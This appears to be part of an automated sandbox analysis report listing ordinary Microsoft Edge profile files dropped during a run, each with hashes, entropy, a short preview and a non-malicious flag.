SHA1:	C1DEBFD97B59FC76182136B815EC90DEA03F16FF
SHA-256:	59DF201F77F74DF59DD33EDA1DF099162F4CFE8F19EC86BCB776375275EAFB61
SHA-512:	E543FE3BEE8FA43C5E731EAFB32F7FF05D5DF51621C21AE6B57AAC2AEB3D0B9B60AE8066CD84FBD1C7F5EE601F672963086008E0F2CC7CA127992ADCC5B7BA93
Malicious:	false
Preview:	SQLite format 3......@ ..........................................................................j..........g...D.........7............................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................

C:\Users\user\AppData\Local\Microsoft\Edge\User Data\Default\Network\SCT Auditing Pending Reports (copy)

Download File

Process:	C:\Program Files (x86)\Microsoft\Edge\Application\msedge.exe
File Type:	JSON data
Category:	dropped
Size (bytes):	2
Entropy (8bit):	1.0
Encrypted:	false
SSDEEP:	3:H:H
MD5:	D751713988987E9331980363E24189CE
SHA1:	97D170E1550EEE4AFC0AF065B78CDA302A97674C
SHA-256:	4F53CDA18C2BAA0C0354BB5F9A3ECBE5ED12AB4D8E11BA873C2F11161202B945
SHA-512:	B25B294CB4DEB69EA00A4C3CF3113904801B6015E5956BD019A8570B1FE1D6040E944EF3CDEE16D0A46503CA6E659A25F21CF9CEDDC13F352A3C98138C15D6AF
Malicious:	false
Preview:	[]

C:\Users\user\AppData\Local\Microsoft\Edge\User Data\Default\Network\SCT Auditing Pending Reports~RF3850f.TMP (copy)

Download File

Process:	C:\Program Files (x86)\Microsoft\Edge\Application\msedge.exe
File Type:	JSON data
Category:	dropped
Size (bytes):	2
Entropy (8bit):	1.0
Encrypted:	false
SSDEEP:	3:H:H
MD5:	D751713988987E9331980363E24189CE
SHA1:	97D170E1550EEE4AFC0AF065B78CDA302A97674C
SHA-256:	4F53CDA18C2BAA0C0354BB5F9A3ECBE5ED12AB4D8E11BA873C2F11161202B945
SHA-512:	B25B294CB4DEB69EA00A4C3CF3113904801B6015E5956BD019A8570B1FE1D6040E944EF3CDEE16D0A46503CA6E659A25F21CF9CEDDC13F352A3C98138C15D6AF
Malicious:	false
Preview:	[]

C:\Users\user\AppData\Local\Microsoft\Edge\User Data\Default\Network\SCT Auditing Pending Reports~RF39665.TMP (copy)

Download File

Process:	C:\Program Files (x86)\Microsoft\Edge\Application\msedge.exe
File Type:	JSON data
Category:	dropped
Size (bytes):	2
Entropy (8bit):	1.0
Encrypted:	false
SSDEEP:	3:H:H
MD5:	D751713988987E9331980363E24189CE
SHA1:	97D170E1550EEE4AFC0AF065B78CDA302A97674C
SHA-256:	4F53CDA18C2BAA0C0354BB5F9A3ECBE5ED12AB4D8E11BA873C2F11161202B945
SHA-512:	B25B294CB4DEB69EA00A4C3CF3113904801B6015E5956BD019A8570B1FE1D6040E944EF3CDEE16D0A46503CA6E659A25F21CF9CEDDC13F352A3C98138C15D6AF
Malicious:	false
Preview:	[]

C:\Users\user\AppData\Local\Microsoft\Edge\User Data\Default\Network\SCT Auditing Pending Reports~RF39914.TMP (copy)

Download File

Process:	C:\Program Files (x86)\Microsoft\Edge\Application\msedge.exe
File Type:	JSON data
Category:	dropped
Size (bytes):	2
Entropy (8bit):	1.0
Encrypted:	false
SSDEEP:	3:H:H
MD5:	D751713988987E9331980363E24189CE
SHA1:	97D170E1550EEE4AFC0AF065B78CDA302A97674C
SHA-256:	4F53CDA18C2BAA0C0354BB5F9A3ECBE5ED12AB4D8E11BA873C2F11161202B945
SHA-512:	B25B294CB4DEB69EA00A4C3CF3113904801B6015E5956BD019A8570B1FE1D6040E944EF3CDEE16D0A46503CA6E659A25F21CF9CEDDC13F352A3C98138C15D6AF
Malicious:	false
Preview:	[]

C:\Users\user\AppData\Local\Microsoft\Edge\User Data\Default\Network\Sdch Dictionaries (copy)

Download File

Process:	C:\Program Files (x86)\Microsoft\Edge\Application\msedge.exe
File Type:	JSON data
Category:	dropped
Size (bytes):	40
Entropy (8bit):	4.1275671571169275
Encrypted:	false
SSDEEP:	3:Y2ktGMxkAXWMSN:Y2xFMSN
MD5:	20D4B8FA017A12A108C87F540836E250
SHA1:	1AC617FAC131262B6D3CE1F52F5907E31D5F6F00
SHA-256:	6028BD681DBF11A0A58DDE8A0CD884115C04CAA59D080BA51BDE1B086CE0079D
SHA-512:	507B2B8A8A168FF8F2BDAFA5D9D341C44501A5F17D9F63F3D43BD586BC9E8AE33221887869FA86F845B7D067CB7D2A7009EFD71DDA36E03A40A74FEE04B86856
Malicious:	false
Preview:	{"SDCH":{"dictionaries":{},"version":2}}

C:\Users\user\AppData\Local\Microsoft\Edge\User Data\Default\Network\a5377354-d396-47bd-9e47-318f5063fe60.tmp

Download File

Process:	C:\Program Files (x86)\Microsoft\Edge\Application\msedge.exe
File Type:	JSON data
Category:	dropped
Size (bytes):	2
Entropy (8bit):	1.0
Encrypted:	false
SSDEEP:	3:H:H
MD5:	D751713988987E9331980363E24189CE
SHA1:	97D170E1550EEE4AFC0AF065B78CDA302A97674C
SHA-256:	4F53CDA18C2BAA0C0354BB5F9A3ECBE5ED12AB4D8E11BA873C2F11161202B945
SHA-512:	B25B294CB4DEB69EA00A4C3CF3113904801B6015E5956BD019A8570B1FE1D6040E944EF3CDEE16D0A46503CA6E659A25F21CF9CEDDC13F352A3C98138C15D6AF
Malicious:	false
Preview:	[]

C:\Users\user\AppData\Local\Microsoft\Edge\User Data\Default\Network\c67cd1dd-2566-4ae9-8886-0508bdaa5edc.tmp

Download File

Process:	C:\Program Files (x86)\Microsoft\Edge\Application\msedge.exe
File Type:	JSON data
Category:	dropped
Size (bytes):	1789
Entropy (8bit):	5.329359000377576
Encrypted:	false
SSDEEP:	48:YcgCzsFDJtsFKfc7leeBkBRsuCgHYsQCgHzcbxo+:FSdSK2keBkBRTwTzcVo+
MD5:	B4B21F50329D8E7DBCF6D708A753A779
SHA1:	A683A746FA2D7DE8C91946DC2CFFD6488152D507
SHA-256:	572C51E7FF39911CA11A4D30C00E0A505FB9FAF059A6E76270E5DB7F605A2184
SHA-512:	FD14CEAEB654EAB9E9F41EAA4C4C94D5FA58C8013052E7D1D78B73B405C84755944966DC06EDC8BE122B43D245F44080D2048733B87BC67C26B63A553A0BB791
Malicious:	false
Preview:	{"net":{"http_server_properties":{"servers":[{"anonymization":["IAAAABoAAABodHRwczovL3d3dy5nb29nbGVhcGlzLmNvbQAA",false],"server":"https://www.googleapis.com","supports_spdy":true},{"alternative_service":[{"advertised_alpns":["h3"],"expiration":"13377247163020618","port":443,"protocol_str":"quic"}],"anonymization":["GAAAABIAAABodHRwczovL2dvb2dsZS5jb20AAA==",false],"server":"https://clients2.google.com","supports_spdy":true},{"alternative_service":[{"advertised_alpns":["h3"],"expiration":"13377247164567551","port":443,"protocol_str":"quic"}],"anonymization":["JAAAAB0AAABodHRwczovL2dvb2dsZXVzZXJjb250ZW50LmNvbQAAAA==",false],"server":"https://clients2.googleusercontent.com","supports_spdy":true},{"anonymization":["HAAAABUAAABodHRwczovL21pY3Jvc29mdC5jb20AAAA=",false],"server":"https://msedgeextensions.sf.tlu.dl.delivery.mp.microsoft.com","supports_spdy":true},{"anonymization":["HAAAABUAAABodHRwczovL21pY3Jvc29mdC5jb20AAAA=",false],"server":"https://edge.microsoft.com","supports_spdy":true},

C:\Users\user\AppData\Local\Microsoft\Edge\User Data\Default\Network\e7e06714-29c6-4b50-99f0-fffb565dcbfd.tmp

Download File

Process:	C:\Program Files (x86)\Microsoft\Edge\Application\msedge.exe
File Type:	JSON data
Category:	dropped
Size (bytes):	2
Entropy (8bit):	1.0
Encrypted:	false
SSDEEP:	3:H:H
MD5:	D751713988987E9331980363E24189CE
SHA1:	97D170E1550EEE4AFC0AF065B78CDA302A97674C
SHA-256:	4F53CDA18C2BAA0C0354BB5F9A3ECBE5ED12AB4D8E11BA873C2F11161202B945
SHA-512:	B25B294CB4DEB69EA00A4C3CF3113904801B6015E5956BD019A8570B1FE1D6040E944EF3CDEE16D0A46503CA6E659A25F21CF9CEDDC13F352A3C98138C15D6AF
Malicious:	false
Preview:	[]

C:\Users\user\AppData\Local\Microsoft\Edge\User Data\Default\Nurturing\campaign_history

Download File

Process:	C:\Program Files (x86)\Microsoft\Edge\Application\msedge.exe
File Type:	SQLite 3.x database, last written using SQLite version 3042000, file counter 3, database pages 5, cookie 0x2, schema 4, UTF-8, version-valid-for 3
Category:	dropped
Size (bytes):	20480
Entropy (8bit):	0.8350301952073809
Encrypted:	false
SSDEEP:	24:TLSOUOq0afDdWec9sJlAMoqsgC7zn2z8ZI7J5fc:T+OUzDbg3sAM/sgCnn2ztc
MD5:	0DAD8D7F079797377CD56DAE47E1A619
SHA1:	A353C01C5B9BA9E0315ABA74D3337B7D6EE97CB2
SHA-256:	7BDA584E0C1BE9E104065370FD279A7E771D7EB4F7E4CC7C80F146931F150E33
SHA-512:	5A57C0D303672564DDEAA08B5DAAEE1BA24B67C46100720CE69F0908427ACE55F330D96A772D0E1F96B595FBBD70E6145AA464FC4F312EFE095F9AC909E304E8
Malicious:	false
Preview:	SQLite format 3......@ ..........................................................................j.....................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................

C:\Users\user\AppData\Local\Microsoft\Edge\User Data\Default\Preferences (copy)

Download File

Process:	C:\Program Files (x86)\Microsoft\Edge\Application\msedge.exe
File Type:	JSON data
Category:	dropped
Size (bytes):	13216
Entropy (8bit):	5.274989092435958
Encrypted:	false
SSDEEP:	192:st+J99QTryDigabatSuypvs4+2sZihDFklCFm8gbV+FNcQA66WTnwaFIMYBPjYJ:st+PGKSu4vs4+2fhDAbGCQx6WTnwaTY6
MD5:	901175B49B5B38C257C5F862612B25BE
SHA1:	078B2342B7ACA923536B5707BA1BDEF61D0655FF
SHA-256:	1E2B07FA8FF0C20FBCD7EBC141AD360BEE28F0D29415E582B0B2E8734F38296D
SHA-512:	7AA85563AAED591482909E53CBA9D3EBE8DC3130A0D79D4F75ECB92FFB704F6C7F883A6F8ECCC969AFAEAE8A216488B20B9E80FC7A826DA0C848C1B10B2A8731
Malicious:	false
Preview:	{"aadc_info":{"age_group":0},"account_tracker_service_last_update":"13374655159895035","alternate_error_pages":{"backup":true},"apps":{"shortcuts_arch":"","shortcuts_version":0},"arbitration_experiences":{},"arbitration_local_nsat_reset_time":"13340900603634208","arbitration_using_experiment_config":false,"autocomplete":{"retention_policy_last_version":117},"browser":{"available_dark_theme_options":"All","has_seen_welcome_page":false,"history_in_shoreline_activated":true,"hub_app_non_synced_preferences":{"apps":{"06be1ebe-f23a-4bea-ae45-3120ad86cfea":{"last_path":""},"0c835d2d-9592-4c7a-8d0a-0e283c9ad3cd":{"last_path":""},"168a2510-04d5-473e-b6a0-828815a7ca5f":{"last_path":""},"1ec8a5a9-971c-4c82-a104-5e1a259456b8":{"last_path":""},"2354565a-f412-4654-b89c-f92eaa9dbd20":{"last_path":""},"25fe2d1d-e934-482a-a62f-ea1705db905d":{"last_path":""},"2caf0cf4-ea42-4083-b928-29b39da1182b":{"last_path":""},"2cb2db96-3bd0-403e-abe2-9269b3761041":{"last_path":""},"35a43603-bb38-4b53-ba20-932cb9117

C:\Users\user\AppData\Local\Microsoft\Edge\User Data\Default\Preferences~RF3c332.TMP (copy)

Download File

Process:	C:\Program Files (x86)\Microsoft\Edge\Application\msedge.exe
File Type:	JSON data
Category:	dropped
Size (bytes):	13216
Entropy (8bit):	5.274989092435958
Encrypted:	false
SSDEEP:	192:st+J99QTryDigabatSuypvs4+2sZihDFklCFm8gbV+FNcQA66WTnwaFIMYBPjYJ:st+PGKSu4vs4+2fhDAbGCQx6WTnwaTY6
MD5:	901175B49B5B38C257C5F862612B25BE
SHA1:	078B2342B7ACA923536B5707BA1BDEF61D0655FF
SHA-256:	1E2B07FA8FF0C20FBCD7EBC141AD360BEE28F0D29415E582B0B2E8734F38296D
SHA-512:	7AA85563AAED591482909E53CBA9D3EBE8DC3130A0D79D4F75ECB92FFB704F6C7F883A6F8ECCC969AFAEAE8A216488B20B9E80FC7A826DA0C848C1B10B2A8731
Malicious:	false
Preview:	{"aadc_info":{"age_group":0},"account_tracker_service_last_update":"13374655159895035","alternate_error_pages":{"backup":true},"apps":{"shortcuts_arch":"","shortcuts_version":0},"arbitration_experiences":{},"arbitration_local_nsat_reset_time":"13340900603634208","arbitration_using_experiment_config":false,"autocomplete":{"retention_policy_last_version":117},"browser":{"available_dark_theme_options":"All","has_seen_welcome_page":false,"history_in_shoreline_activated":true,"hub_app_non_synced_preferences":{"apps":{"06be1ebe-f23a-4bea-ae45-3120ad86cfea":{"last_path":""},"0c835d2d-9592-4c7a-8d0a-0e283c9ad3cd":{"last_path":""},"168a2510-04d5-473e-b6a0-828815a7ca5f":{"last_path":""},"1ec8a5a9-971c-4c82-a104-5e1a259456b8":{"last_path":""},"2354565a-f412-4654-b89c-f92eaa9dbd20":{"last_path":""},"25fe2d1d-e934-482a-a62f-ea1705db905d":{"last_path":""},"2caf0cf4-ea42-4083-b928-29b39da1182b":{"last_path":""},"2cb2db96-3bd0-403e-abe2-9269b3761041":{"last_path":""},"35a43603-bb38-4b53-ba20-932cb9117

C:\Users\user\AppData\Local\Microsoft\Edge\User Data\Default\Preferences~RF41152.TMP (copy)

Download File

Process:	C:\Program Files (x86)\Microsoft\Edge\Application\msedge.exe
File Type:	JSON data
Category:	dropped
Size (bytes):	13216
Entropy (8bit):	5.274989092435958
Encrypted:	false
SSDEEP:	192:st+J99QTryDigabatSuypvs4+2sZihDFklCFm8gbV+FNcQA66WTnwaFIMYBPjYJ:st+PGKSu4vs4+2fhDAbGCQx6WTnwaTY6
MD5:	901175B49B5B38C257C5F862612B25BE
SHA1:	078B2342B7ACA923536B5707BA1BDEF61D0655FF
SHA-256:	1E2B07FA8FF0C20FBCD7EBC141AD360BEE28F0D29415E582B0B2E8734F38296D
SHA-512:	7AA85563AAED591482909E53CBA9D3EBE8DC3130A0D79D4F75ECB92FFB704F6C7F883A6F8ECCC969AFAEAE8A216488B20B9E80FC7A826DA0C848C1B10B2A8731
Malicious:	false
Preview:	{"aadc_info":{"age_group":0},"account_tracker_service_last_update":"13374655159895035","alternate_error_pages":{"backup":true},"apps":{"shortcuts_arch":"","shortcuts_version":0},"arbitration_experiences":{},"arbitration_local_nsat_reset_time":"13340900603634208","arbitration_using_experiment_config":false,"autocomplete":{"retention_policy_last_version":117},"browser":{"available_dark_theme_options":"All","has_seen_welcome_page":false,"history_in_shoreline_activated":true,"hub_app_non_synced_preferences":{"apps":{"06be1ebe-f23a-4bea-ae45-3120ad86cfea":{"last_path":""},"0c835d2d-9592-4c7a-8d0a-0e283c9ad3cd":{"last_path":""},"168a2510-04d5-473e-b6a0-828815a7ca5f":{"last_path":""},"1ec8a5a9-971c-4c82-a104-5e1a259456b8":{"last_path":""},"2354565a-f412-4654-b89c-f92eaa9dbd20":{"last_path":""},"25fe2d1d-e934-482a-a62f-ea1705db905d":{"last_path":""},"2caf0cf4-ea42-4083-b928-29b39da1182b":{"last_path":""},"2cb2db96-3bd0-403e-abe2-9269b3761041":{"last_path":""},"35a43603-bb38-4b53-ba20-932cb9117

C:\Users\user\AppData\Local\Microsoft\Edge\User Data\Default\Preferences~RF48682.TMP (copy)

Download File

Process:	C:\Program Files (x86)\Microsoft\Edge\Application\msedge.exe
File Type:	JSON data
Category:	dropped
Size (bytes):	13216
Entropy (8bit):	5.274989092435958
Encrypted:	false
SSDEEP:	192:st+J99QTryDigabatSuypvs4+2sZihDFklCFm8gbV+FNcQA66WTnwaFIMYBPjYJ:st+PGKSu4vs4+2fhDAbGCQx6WTnwaTY6
MD5:	901175B49B5B38C257C5F862612B25BE
SHA1:	078B2342B7ACA923536B5707BA1BDEF61D0655FF
SHA-256:	1E2B07FA8FF0C20FBCD7EBC141AD360BEE28F0D29415E582B0B2E8734F38296D
SHA-512:	7AA85563AAED591482909E53CBA9D3EBE8DC3130A0D79D4F75ECB92FFB704F6C7F883A6F8ECCC969AFAEAE8A216488B20B9E80FC7A826DA0C848C1B10B2A8731
Malicious:	false
Preview:	{"aadc_info":{"age_group":0},"account_tracker_service_last_update":"13374655159895035","alternate_error_pages":{"backup":true},"apps":{"shortcuts_arch":"","shortcuts_version":0},"arbitration_experiences":{},"arbitration_local_nsat_reset_time":"13340900603634208","arbitration_using_experiment_config":false,"autocomplete":{"retention_policy_last_version":117},"browser":{"available_dark_theme_options":"All","has_seen_welcome_page":false,"history_in_shoreline_activated":true,"hub_app_non_synced_preferences":{"apps":{"06be1ebe-f23a-4bea-ae45-3120ad86cfea":{"last_path":""},"0c835d2d-9592-4c7a-8d0a-0e283c9ad3cd":{"last_path":""},"168a2510-04d5-473e-b6a0-828815a7ca5f":{"last_path":""},"1ec8a5a9-971c-4c82-a104-5e1a259456b8":{"last_path":""},"2354565a-f412-4654-b89c-f92eaa9dbd20":{"last_path":""},"25fe2d1d-e934-482a-a62f-ea1705db905d":{"last_path":""},"2caf0cf4-ea42-4083-b928-29b39da1182b":{"last_path":""},"2cb2db96-3bd0-403e-abe2-9269b3761041":{"last_path":""},"35a43603-bb38-4b53-ba20-932cb9117

C:\Users\user\AppData\Local\Microsoft\Edge\User Data\Default\Secure Preferences (copy)

Download File

Process:	C:\Program Files (x86)\Microsoft\Edge\Application\msedge.exe
File Type:	JSON data
Category:	dropped
Size (bytes):	40503
Entropy (8bit):	5.561638290360999
Encrypted:	false
SSDEEP:	768:XlLrWA7pLGLplXWP6YfxW8F1+UoAYDCx9Tuqh0VfUC9xbog/OVh6krxb2rwbN/XO:XlLrWMcplXWP6YfxWu1ja06k9bTbN/XO
MD5:	76604F1EE8E91FBDCB62DAC2A8DD2B39
SHA1:	EB3C79D6364E27B2781F55412171FADB293582B1
SHA-256:	7519BEC9262FCE69D2A00A1EAEBB4BA34511C5BE1FCF655195E5DA13F2DD49D7
SHA-512:	828E3CBDAC355CF4F17518452D2B532BB0F281FBE14FE733253920B2ED6A80F1DA38CA3F96588BEEE34F46E31F06A1143AAB23E20B0657A4B3F8A7DFE127C5A6
Malicious:	false
Preview:	{"edge_fundamentals_appdefaults":{"ess_lightweight_version":101},"ess_kv_states":{"restore_on_startup":{"closed_notification":false,"decrypt_success":true,"key":"restore_on_startup","notification_popup_count":0},"startup_urls":{"closed_notification":false,"decrypt_success":true,"key":"startup_urls","notification_popup_count":0},"template_url_data":{"closed_notification":false,"decrypt_success":true,"key":"template_url_data","notification_popup_count":0}},"extensions":{"settings":{"ahfgeienlihckogmohjhadlkjgocpleb":{"active_permissions":{"api":["management","system.display","system.storage","webstorePrivate","system.cpu","system.memory","system.network"],"explicit_host":[],"manifest_permissions":[],"scriptable_host":[]},"app_launcher_ordinal":"t","commands":{},"content_settings":[],"creation_flags":1,"events":[],"first_install_time":"13374655159305984","from_webstore":false,"incognito_content_settings":[],"incognito_preferences":{},"last_update_time":"13374655159305984","location":5,"ma

C:\Users\user\AppData\Local\Microsoft\Edge\User Data\Default\Secure Preferences~RF3e540.TMP (copy)

Download File

Process:	C:\Program Files (x86)\Microsoft\Edge\Application\msedge.exe
File Type:	JSON data
Category:	dropped
Size (bytes):	40503
Entropy (8bit):	5.561638290360999
Encrypted:	false
SSDEEP:	768:XlLrWA7pLGLplXWP6YfxW8F1+UoAYDCx9Tuqh0VfUC9xbog/OVh6krxb2rwbN/XO:XlLrWMcplXWP6YfxWu1ja06k9bTbN/XO
MD5:	76604F1EE8E91FBDCB62DAC2A8DD2B39
SHA1:	EB3C79D6364E27B2781F55412171FADB293582B1
SHA-256:	7519BEC9262FCE69D2A00A1EAEBB4BA34511C5BE1FCF655195E5DA13F2DD49D7
SHA-512:	828E3CBDAC355CF4F17518452D2B532BB0F281FBE14FE733253920B2ED6A80F1DA38CA3F96588BEEE34F46E31F06A1143AAB23E20B0657A4B3F8A7DFE127C5A6
Malicious:	false
Preview:	{"edge_fundamentals_appdefaults":{"ess_lightweight_version":101},"ess_kv_states":{"restore_on_startup":{"closed_notification":false,"decrypt_success":true,"key":"restore_on_startup","notification_popup_count":0},"startup_urls":{"closed_notification":false,"decrypt_success":true,"key":"startup_urls","notification_popup_count":0},"template_url_data":{"closed_notification":false,"decrypt_success":true,"key":"template_url_data","notification_popup_count":0}},"extensions":{"settings":{"ahfgeienlihckogmohjhadlkjgocpleb":{"active_permissions":{"api":["management","system.display","system.storage","webstorePrivate","system.cpu","system.memory","system.network"],"explicit_host":[],"manifest_permissions":[],"scriptable_host":[]},"app_launcher_ordinal":"t","commands":{},"content_settings":[],"creation_flags":1,"events":[],"first_install_time":"13374655159305984","from_webstore":false,"incognito_content_settings":[],"incognito_preferences":{},"last_update_time":"13374655159305984","location":5,"ma

C:\Users\user\AppData\Local\Microsoft\Edge\User Data\Default\Service Worker\Database\000001.dbtmp

Download File

Process:	C:\Program Files (x86)\Microsoft\Edge\Application\msedge.exe
File Type:	ASCII text
Category:	dropped
Size (bytes):	16
Entropy (8bit):	3.2743974703476995
Encrypted:	false
SSDEEP:	3:1sjgWIV//Uv:1qIFUv
MD5:	46295CAC801E5D4857D09837238A6394
SHA1:	44E0FA1B517DBF802B18FAF0785EEEA6AC51594B
SHA-256:	0F1BAD70C7BD1E0A69562853EC529355462FCD0423263A3D39D6D0D70B780443
SHA-512:	8969402593F927350E2CEB4B5BC2A277F3754697C1961E3D6237DA322257FBAB42909E1A742E22223447F3A4805F8D8EF525432A7C3515A549E984D3EFF72B23
Malicious:	false
Preview:	MANIFEST-000001.

C:\Users\user\AppData\Local\Microsoft\Edge\User Data\Default\Service Worker\Database\000003.log

Download File

Process:	C:\Program Files (x86)\Microsoft\Edge\Application\msedge.exe
File Type:	data
Category:	dropped
Size (bytes):	2174
Entropy (8bit):	5.859847393643952
Encrypted:	false
SSDEEP:	24:F2xc5NmhcncmokCROulg2D/fRHWY7CROulg2PVFngSCROulg2DaRHWYAwCROulgj:F2em6edD/fB+dPVFngHdDaB4ddhBE
MD5:	BE8BFA55EB1F45D830171565740DF75F
SHA1:	A7ECC9AFDB65E4A676A75E2CC420E2FED30DE3DE
SHA-256:	43B8743FD347D538B64E418A69D490D38FFB2D5C4328A7B8FC1C304A955152CA
SHA-512:	D819DA6A11C950C94CE9D05B52C8535748038BC3323B0C6E62ED6A7E7B08031DA77B32D824FE99B93754BCF78182A547A350623A202B5B40C4C4258DF9CB39D3
Malicious:	false
Preview:	....I................URES:0...INITDATA_NEXT_RESOURCE_ID.1..INITDATA_DB_VERSION.2%.L.1................INITDATA_NEXT_REGISTRATION_ID.1..INITDATA_NEXT_VERSION_ID.1.+INITDATA_UNIQUE_ORIGIN:https://ntp.msn.com/...REG:https://ntp.msn.com/.0......https://ntp.msn.com/edge/ntp...https://ntp.msn.com/edge/ntp/service-worker.js?bundles=latest&riverAgeMinutes=2880&navAgeMinutes=2880&networkTimeoutSeconds=5&ssrBasePageNavAgeMinutes=360&enableEmptySectionRoute=true&enableNavPreload=true&enableFallbackVerticalsFeed=true&noCacheLayoutTemplates=true&cacheSSRBasePageResponse=true&enableStaticAdsRouting=true .(.0.8......@...Z.b.....trueh..h..h..h..h..h..h..h..h..h..h.!p.x................................REGID_TO_ORIGIN:0.https://ntp.msn.com/..RES:0.0.......https://ntp.msn.com/edge/ntp/service-worker.js?bundles=latest&riverAgeMinutes=2880&navAgeMinutes=2880&networkTimeoutSeconds=5&ssrBasePageNavAgeMinutes=360&enableEmptySectionRoute=true&enableNavPreload=true&enableFallbackVerticalsFeed=true&noCacheLayo

C:\Users\user\AppData\Local\Microsoft\Edge\User Data\Default\Service Worker\Database\CURRENT (copy)

Download File

Process:	C:\Program Files (x86)\Microsoft\Edge\Application\msedge.exe
File Type:	ASCII text
Category:	dropped
Size (bytes):	16
Entropy (8bit):	3.2743974703476995
Encrypted:	false
SSDEEP:	3:1sjgWIV//Uv:1qIFUv
MD5:	46295CAC801E5D4857D09837238A6394
SHA1:	44E0FA1B517DBF802B18FAF0785EEEA6AC51594B
SHA-256:	0F1BAD70C7BD1E0A69562853EC529355462FCD0423263A3D39D6D0D70B780443
SHA-512:	8969402593F927350E2CEB4B5BC2A277F3754697C1961E3D6237DA322257FBAB42909E1A742E22223447F3A4805F8D8EF525432A7C3515A549E984D3EFF72B23
Malicious:	false
Preview:	MANIFEST-000001.

C:\Users\user\AppData\Local\Microsoft\Edge\User Data\Default\Service Worker\Database\LOG

Download File

Process:	C:\Program Files (x86)\Microsoft\Edge\Application\msedge.exe
File Type:	ASCII text
Category:	dropped
Size (bytes):	297
Entropy (8bit):	5.202543072012278
Encrypted:	false
SSDEEP:	6:cOW+JDSM1923oH+TcwtE/a252KLlmOW4qwVq2P923oH+TcwtE/a2ZIFUv:fW+JDShYeb8xLnWWVv4Yeb8J2FUv
MD5:	654555E7D4198FE551453EC8878D9E51
SHA1:	FF516B7D328A9EBA55C6A913588B51A7A20CDC46
SHA-256:	A58CAF50FD1981D6DC14204C1D9B24A28DD62582A2A864C3F4A7F4623A95F632
SHA-512:	7A2469E3B8E80298211700F92952A13AFE2E5B84BA189BA6849971C1CDD2CD063A84C103E86121864132F6725AB6883E3A3E03D1695B0A5EAA9720D4681CFF19
Malicious:	false
Preview:	2024/10/29-01:59:30.726 8d4 Creating DB C:\Users\user\AppData\Local\Microsoft\Edge\User Data\Default\Service Worker\Database since it was missing..2024/10/29-01:59:30.743 8d4 Reusing MANIFEST C:\Users\user\AppData\Local\Microsoft\Edge\User Data\Default\Service Worker\Database/MANIFEST-000001.

C:\Users\user\AppData\Local\Microsoft\Edge\User Data\Default\Service Worker\Database\MANIFEST-000001

Download File

Process:	C:\Program Files (x86)\Microsoft\Edge\Application\msedge.exe
File Type:	OpenPGP Secret Key
Category:	dropped
Size (bytes):	41
Entropy (8bit):	4.704993772857998
Encrypted:	false
SSDEEP:	3:scoBAIxQRDKIVjn:scoBY7jn
MD5:	5AF87DFD673BA2115E2FCF5CFDB727AB
SHA1:	D5B5BBF396DC291274584EF71F444F420B6056F1
SHA-256:	F9D31B278E215EB0D0E9CD709EDFA037E828F36214AB7906F612160FEAD4B2B4
SHA-512:	DE34583A7DBAFE4DD0DC0601E8F6906B9BC6A00C56C9323561204F77ABBC0DC9007C480FFE4092FF2F194D54616CAF50AECBD4A1E9583CAE0C76AD6DD7C2375B
Malicious:	false
Preview:	.\|.."....leveldb.BytewiseComparator......

C:\Users\user\AppData\Local\Microsoft\Edge\User Data\Default\Service Worker\ScriptCache\2cc80dabc69f58b6_0

Download File

Process:	C:\Program Files (x86)\Microsoft\Edge\Application\msedge.exe
File Type:	data
Category:	dropped
Size (bytes):	113318
Entropy (8bit):	5.580180891306113
Encrypted:	false
SSDEEP:	1536:UU906yxPXfOxr1lhCe1A46rCjQ3NGIjn53vIZPiAL/r4L/rxt:59LyxPXfOxr1lMe1Z6rFJlv47L/ML/b
MD5:	4D21EB5489E19F5F157320A5BD11D96A
SHA1:	EB1D21F58D80E66E04CFEF5A64BC1062B51232D2
SHA-256:	063736B90B5542605394F4438D5C526846F82B21672B0AC60C9EB2D3E96CCBE7
SHA-512:	6EBA6BC341908C01FD9A3BDA5EC06FAA86D5B555958180FB49690EEA681F51660C072057E63AA3B7E934FB5D20CD2B0E184DD5E3699A40E5C9F8E8A94F03A5A9
Malicious:	false
Preview:	0\r..m..........rSG.....0!function(e,t){if("object"==typeof exports&&"object"==typeof module)module.exports=t();else if("function"==typeof define&&define.amd)define([],t);else{var s=t();for(var n in s)("object"==typeof exports?exports:e)[n]=s[n]}}(self,(()=>(()=>{"use strict";var e={894:()=>{try{self["workbox:cacheable-response:6.4.0"]&&_()}catch(e){}},81:()=>{try{self["workbox:core:6.4.0"]&&_()}catch(e){}},485:()=>{try{self["workbox:expiration:6.4.0"]&&_()}catch(e){}},484:()=>{try{self["workbox:navigation-preload:6.4.0"]&&_()}catch(e){}},248:()=>{try{self["workbox:precaching:6.4.0"]&&_()}catch(e){}},492:()=>{try{self["workbox:routing:6.4.0"]&&_()}catch(e){}},154:()=>{try{self["workbox:strategies:6.4.0"]&&_()}catch(e){}}},t={};function s(n){var a=t[n];if(void 0!==a)return a.exports;var r=t[n]={exports:{}};return e[n](r,r.exports,s),r.exports}s.g=function(){if("object"==typeof globalThis)return globalThis;try{return this\|\|new Function("return this")()}catch(e){if("object"==typeof window

C:\Users\user\AppData\Local\Microsoft\Edge\User Data\Default\Service Worker\ScriptCache\2cc80dabc69f58b6_1

Download File

Process:	C:\Program Files (x86)\Microsoft\Edge\Application\msedge.exe
File Type:	data
Category:	dropped
Size (bytes):	187425
Entropy (8bit):	6.380910039252882
Encrypted:	false
SSDEEP:	3072:Rs27PtPb1Q0rwl1NR7JuLN7ROEfvaIKHERLEL/moQSQd:S0rwlV7ulEIKktEL/Gp
MD5:	B4453CAD163AE04BAB79C745128EA66C
SHA1:	FCC547ABBDB8DAF18098031DBEAED46440531EB9
SHA-256:	16A03A3EC0961D78A64D0AF02EF3350096D0FFE53F290C04FD7B1A3415C403F7
SHA-512:	644FC87DC127EF4E2DF4AB274EB98BCB349D24533CAE0B33D2B0829E22A4184FC432D5712B5FB41F7933CD66410DE7C3DB31EF8719E68CCE7E049D9265B21301
Malicious:	false
